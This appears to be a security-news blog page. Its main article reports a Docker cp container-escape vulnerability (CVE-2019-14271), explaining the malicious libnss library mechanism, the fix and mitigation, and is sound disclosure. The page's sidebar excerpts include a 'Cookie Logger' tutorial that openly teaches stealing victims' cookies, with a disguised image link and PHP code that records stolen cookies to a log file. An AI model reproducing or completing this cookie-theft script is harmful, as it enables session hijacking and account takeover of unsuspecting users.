Skip to main content

A Critical Vulnerability in Docker Allows Hackers To Take Complete Control Over Host & All Containers Within It

Docker Hacked

Researchers discovered a critical vulnerability in Docker that allows an attacker to take complete control of the host and the containers associated with it.
The Docker vulnerability resides in the copy command (cp) used in containers platforms such as Docker, Podman, and Kubernetes. This command can be used to copy files & folders between the container and the local file system.
The commands can be used like below:
docker cp [OPTIONS] CONTAINER:SRC_PATH DEST_PATH|-
docker cp [OPTIONS] SRC_PATH|- CONTAINER:DEST_PATH

Docker Copy Command Vulnerability

According to researchers, this is the first Docker cp command that leads to a full container escape after the runC vulnerability identified in February.
The vulnerability can be exploited by the attacker if the docker already compromised with any previous vulnerabilities or if the user runs a malicious container image from an untrusted source.
“If the user then executes the vulnerable cp command to copy files out of the compromised container, the attacker can escape and take full root control of the host and all other containers in it,” reads Palo Alto report.
To copy out the file between containers, Docker uses a process called docker-tar, which works by Chrooting which archiving and passing the file to the target destination.

In following exploiting video, “a Docker user runs a malicious image that contains our evil libnss_files.so library and then tries to copy some logs from the container. The /breakout binary in the image is a simple bash script that mounts the host filesystem to the container at /host_fs and also writes a message to /evil on the host.’

The docker-tar isn’t containerized and it runs in host namespaces with all root capabilities, so by injecting code into docker-tar, a malicious container can get full access.
There are 2 possible attack scenario is a Docker user that copies some files from either:
  • A container running a malicious image with bad libnss_*.so libraries.
  • A compromised container where an attacker replaced the libnss_*.so libraries.
Both scenarios allow an attacker to exploit the docker-vulnerability to gains root code execution access on the host.
The Docker vulnerability can be tracked as CVE-2019-14271 and the security issue fixed with Docker version 19.03.1.
Researchers recommended running the containers as a non-root user if the root permission is not required, it may increase security and prevent attacks.
You can read the complete Technical analysis for this vulnerability here.


Comments

Popular posts from this blog

10 Best Forum Software For Webmasters

10 Best Forum Software For Webmasters Do you want to create your online discussion forum or online community where people can discuss about their favorite topics? In this article, you can see 10 best forum software (scripts for setting up discussion forums) that can be used free of cost. Although some scripts are paid but rest of these forum scripts are free to use.You only need to buy hosting space and domain name for your website and after then you can install any of these forum scripts to start your own discussion forums on the internet. Online discussion forums generate huge page views because thousands of people want to join online discussion forums to ask questions or share knowledge. Some of online marketers join forums to discuss about their products with community members. You don't need to acquire any kind of technical skill to run a professional discussion forums because these days, almost all web hosting providers offer one click script installer which h...

Cookie Logger

         Cookie Logger ---------------------------------------------- A Cookie Logger is a Script that is Used to Steal anybody’s Cookies and stores it into a Log File from where you can read the Cookies of the Victim. Today I am going to show How to make your own Cookie Logger… Hope you will enjoy Reading it... STEP 1: Copy & Save the notepad file from below and Rename it as Fun.gif <a href="www.yoursite.com/fun.gif"><img style="cursor: pointer; width: 116px; height: 116px;" src="nesite.com/jpg" /></a> STEP 2: Copy the Following Script into a Notepad File and Save the file as cookielogger.php $filename = “logfile.txt”; if (isset($_GET["cookie"])) { if (!$handle = fopen($filename, ‘a’)) { echo “Temporary Server Error,Sorry for the inconvenience.”; exit; } else { if (fwrite($handle, “rn” . $_GET["cookie"]) === FALSE) { echo “Temporary Server Error,Sorry for the inconvenience.”; exit; } } echo “Temporary...

100 Terrific Tools for Coders & Developers

Coding… the world runs on it these days. Want job security? Become a developer. Want fame and fortune? Learn to code! Whether you are a world-class programmer looking for a few extra tools to add to your already awesome arsenal or a wanna-be coder looking to get into the game, these coding resources comprised of many startups (meaning you probably haven’t heard of a lot of these) as well as established sites and services are sure to help you take your game to the next level (whatever that might be). Included here are tools to help you communicate better with your team, share code, test your app and track usage, add functionality and much more. Whether you are a mobile or web app developer, I’m sure you will find something new to love here. Any suggestions on great sites or services that should be added? RANDOM & COOL Tracelytics  – Full stack application tracing. Cloud APM. TaskMissile  - Makes getting client feedback fast, easy and exact. Kera  – Activat...